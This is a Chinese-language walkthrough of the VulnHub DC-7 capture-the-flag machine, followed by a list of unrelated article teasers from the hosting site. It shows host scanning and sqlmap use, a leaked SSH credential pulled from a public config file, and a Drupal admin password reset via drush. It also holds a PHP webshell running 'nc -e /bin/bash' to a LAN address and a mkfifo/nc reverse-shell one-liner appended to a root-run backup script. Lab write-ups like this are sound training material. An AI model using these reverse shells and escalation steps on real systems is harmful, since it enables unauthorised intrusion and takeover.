vulnhub DC系列 DC-7

news2025/1/16 2:48:27

总结:社工尝试

目录

下载地址

漏洞分析

信息收集

ssh

webshell

命令执行

 提权


 

下载地址

  • DC-7.zip (Size: 939 MB)
  • Download: http://www.five86.com/downloads/DC-7.zip
  • Download (Mirror): https://download.vulnhub.com/dc/DC-7.zip

漏洞分析

信息收集

这里还是使用DC-1的方法

1.给靶机设置一个快照

2.fping -agq 192.168.1.0/24  使用fping快速扫描该网段中存活的机子

3.将靶机关闭重新扫描一下,对比少的那个ip就是靶机的ip

4.使用快照快速将靶机恢复

注:ip段要看自己的

 

这里打开了22和80端口,这里先去查看网页。

这里感觉有些提示,我们去翻译一下。

这里提示我们不要去爆破,这里有一个查询框,这里尝试sqlmap试试


DC-7引入了一些“新”概念,但我将让您自己去弄清楚它们是什么。: -)
虽然这个挑战并不完全是技术性的,但如果您需要诉诸于暴力强制或字典攻击,您可能不会成功。
你要做的就是跳出固有的思维模式。
完全“跳出”框框。: -)


这里爆破没有成功,我们去尝试其他方法。

sqlmap -u "http://192.168.1.10/search/node?keys=11" --dbs --batch

接下来我们使用插件,来查看网站指纹,看看有什么漏洞

这里我们查看关于Drupal 8的漏洞,然后我们这里关于8的漏洞版本都挺高,感觉不太对,这里尝试尝试其他,去扫扫目录。

 

//扫目录 kali没有可以安装 apt install dirsearch
dirsearch -u "http://192.168.1.10" -e "*"

 这里也没有找到什么东西,然后查看别人的wp,要根据下面的接口去查看config.php这个文件

//源码在这里
https://github.com/Dc7User/staffdb/blob/master/config.php

 

ssh

dc7user:MdR3xOgB7#dW

这里我们使用登录

在当前目录这里我们发现一个邮件我们查看,然后这里提到了/opt/scripts/backups.sh这个文件,这里我们看一下。

 

 这里查看一下这个文件

 

这里提到一个drush命令,这里经过搜索发现可以修改用户密码,我们可以尝试一下

//尝试,这些是失败的
drush upwd --password="123" "admin"
drush upwd admin 123456

//这个成功了
drush user-password --password="123456" admin

webshell

 这里我们登录网站后台看看,发现了一个可以写文件的地方,但是不能执行php,所以我们要安装一个扩展

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

这里我们可以先把这个文件下载过来

 这里吧这个文件上传上去,当然也可以使用上面那个url

 

 这时候回去,我们就会发现多了一个这个,我们选中然后安装。

命令执行

 这里我们来到Content那里,这里我们写一串看看。

 这里我们看到他是执行的了,我们接下来尝试反弹shell

//注这里要看自己的ip和设置端口
<?php system("nc -e /bin/bash 192.168.1.12 4444");?>

 提权

这里反弹回来,我们先使用

python -c "import pty;pty.spawn('/bin/bash')"来获得一个伪shell

接下来找了来找去没有找到什么有用的东西,这里看看别人的,哦,我遗忘了那个文件 backups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 4444 > /tmp/f" >> /opt/scripts/b*

然后重新开一个nc监听,然后执行sh文件就可以了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/166106.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录算法训练营第13天 239.滑动窗口最大值、347. 前 K 个高频元素

代码随想录算法训练营第13天 239.滑动窗口最大值、347. 前 K 个高频元素 滑动窗口最大值 力扣题目链接(opens new window) 给定一个数组 nums&#xff0c;有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只…

YonBuilder 应用构建教程之移动端扩展

YonBuilder 移动端扩展 在上一篇文章中&#xff0c;我们通过对员工信息实体的移动端页面构建来对 YonBuilder 移动端配置的基础流程进行了简单的介绍&#xff0c;本篇文章则通过之前搭建的出入库实体来进行扩展&#xff0c;主要介绍如何在移动端中添加跳转页面的功能以及通过函…

大连理工大学(开发区校区)2023年新生赛(验题人题解)

难度分布 根据排行榜情况&#xff0c;大致分布如下&#xff1a; Easy&#xff1a;AIDE Middle&#xff1a;CJF Hard&#xff1a;GBH 题解 A. Hello World.&#xff08;题意实现&#xff09; 直接输出Hello world. I. lgl想签到&#xff08;题意实现&#xff09; 统计周…

组件优化 - 多project方案

背景 经销商项目目前是混合项目&#xff0c;有oc、swift、flutter&#xff0c;并对应各自的一些三方库&#xff0c;并随着需求的增加&#xff0c;项目代码体积也越来越大&#xff0c;编译速度也相应的慢了很多&#xff0c;这也严重影响了开发速度&#xff0c;故目前的期望是可…

Linux:git工具

文章目录一.git的下载二.如何使用git将代码传到远端仓库2.1在gitee上新建一个仓库2.2克隆仓库到本地git clone2.3将文件添加到本地仓库git add2.4将代码提交到本地仓库git commit -m2.5将本地仓库的内容传到远端仓库中git push三.git的一些其它使用3.1git log查看日志3.2git rm…

【魅力开源】第5集:通过Odoo实现将EXCEL表费用明细,快速导入到ERP总账系统生成凭证

文章目录前言一、拿到这样的一张表二、实现过程1. 控制器(Controller)2. 模型(Model)3. 视图(View)4. 返回生成的凭证号最后前言 这是一个小功能。 财务小姐姐每个月需要不少的时间去手录费用凭证&#xff0c;这个功能可以实现将半天一天时间内完成的事情&#xff0c;在1小时内…

204:vue+openlayers 学习Attribution各种API,示例展示自定义版权信息

第204个 点击查看专栏目录 本示例的目的是介绍如何在vue+openlayers项目中个性化修改版权信息,这里主要涉及到Attribution各种属性的设置,所以这里先列出属性的信息,然后用示例来展示如何使用。 名称类型说明classNamestring (默认为“ol-attribution”)CSS 类名。targetH…

Acwing---1219.移动距离

移动距离1.题目2.基本思想3.代码实现1.题目 X星球居民小区的楼房全是一样的&#xff0c;并且按矩阵样式排列。 其楼房的编号为 1,2,3… 当排满一行时&#xff0c;从下一行相邻的楼往反方向排号。 比如&#xff1a;当小区排号宽度为 6 时&#xff0c;开始情形如下&#xff1a…

使用Anaconda(3-5.1.0对应 python3.6.3)搭建OpenCV(3.5.1.15)环境和Jupyter Notebook

使用Anaconda搭建python和OpenCV环境1、 Anaconda3-5.1.0下载Anaconda3-5.1.0下载链接&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/下载 Anaconda3-5.1.0-Windows-x86_64.exe 对应 python3.6.32、安装Anaconda全程下一步&#xff0c;修改了一下默认安装…

如何学习C++图像处理?

学习C图像处理前首先的明确图像处理是什么&#xff0c;它是如何定义的&#xff1f;它能给我们带来哪些便利&#xff1f;之后根据需求选择合适的编程语言&#xff0c;C or python&#xff1f;图像处理(image processing)&#xff0c;用计算机对图像进行分析&#xff0c;以达到所…

你还不知道怎么实现财富自由吗?一篇文章手把手教你入门!

程序猿作为互联网行业的翘楚&#xff0c;压力多多收获也多多。 如果想在上班之余还有外快拿&#xff0c;最好的方法就是利用业余时间做做兼职赚外快&#xff0c;不仅可以充实自己的钱包&#xff0c;还可以磨练自己的技术&#xff0c;一举两得。 找外快可是一门技术活&#xf…

三万秃发人群撑起一个IPO,大麦植发能成功上市吗?

不断壮大的“脱发”大军正撑起植发这一条黄金赛道。据弗若斯特沙利文报告&#xff0c;2020年中国毛发医疗服务的市场规模已达到184亿元&#xff0c;预计到2030年将达到1381亿元&#xff0c;CAGR为22.3%。 由于市场规模增长较快&#xff0c;资本也加强了对植发行业的关注&#…

python实现给pdf文件加骑缝章效果

骑缝章是在合同上经常看到的一种盖章方式&#xff0c;如下图所示。现在电子合同的应用已经越来越广泛&#xff0c;合同上如何实现骑缝章的效果 &#xff0c;也是有必要研究一下的。本文几乎Python的方式&#xff0c;讲述了如果对印章图片进行处理&#xff0c;然后&#xff0c;实…

JAVA校园闲置物品交易系统源码+数据库,为在校师生提供闲置物品发布、物品查询、物品交易等功能

校园闲置平台 校园闲置物品交易系统&#xff0c;为在校师生提供闲置物品发布、物品查询、物品交易等功能。 使用JAVA编写的(javaweb和ssm) Summary 项目的技术栈项目功能介绍项目运行环境部署项目 项目的技术栈 IoC容器:Spring web框架:SpringMVC (PHP版为ThinkPHP) orm…

不会数学的程序员,只能走到初级开发工程师!

作者&#xff1a;小傅哥 博客&#xff1a;https://bugstack.cn 沉淀、分享、成长&#xff0c;让自己和他人都能有所收获&#xff01;&#x1f604; 在我还是初级程序员时&#xff0c;每天也都粘贴着代码和包装着接口。那个阶段并没有意识到数学能在编程中起到什么作用&#xff…

【Java基础】-【集合类】

目录Java中的容器&#xff08;集合类&#xff09;Java中的容器&#xff0c;线程安全和线程不安全的分别有哪些&#xff1f;Map接口的实现类Map put的过程如何得到一个线程安全的Map&#xff1f;HashMap的特点JDK7和JDK8中的HashMap有什么区别&#xff1f;HashMap底层的实现原理…

【年度总结】2022回首瞻望 | 2023大展宏“兔“

&#x1f482;作者简介&#xff1a; THUNDER王&#xff0c;一名热爱财税和SAP ABAP编程以及热爱分享的博主。目前于江西师范大学会计专业大二本科在读&#xff0c;阿里云社区专家博主&#xff0c;华为云社区云享专家&#xff0c;CSDN SAP应用技术领域新兴创作者。   在学习工…

GO语言配置和基础语法应用(三)

C语言是直接影响Go语言设计的语言之一。 Go是一门编译型语言&#xff0c;Go语言的工具链将源代码及其依赖转换成计算机的机器指令&#xff08;译注&#xff1a;静态编译&#xff09;。 package mainimport "fmt"func main() {fmt.Println("Hello, 世界")…

一行代码加速Pytorch推理速度6倍

一行代码加速Pytorch推理速度6倍 Torch-TensorRT 是 PyTorch 的集成&#xff0c;它利用 NVIDIA GPU 上的 TensorRT 推理优化。 只需一行代码&#xff0c;它就提供了一个简单的 API&#xff0c;可在 NVIDIA GPU 上提供高达 6 倍的性能加速。 话不多说, 线上代码, 再解释原理!!…

【论文精读】Scaling distributed machine learning with the parameter server

Scaling distributed machine learning with the parameter server前言Abstract1. Introduction1.1 Contributions1.2 Engineering Challenges1.3 Related Work2. Machine Learning2.1 Goals2.2 Risk Minimization2.3 Generative Models3. Architecture3.1 (Key,Value) Vectors…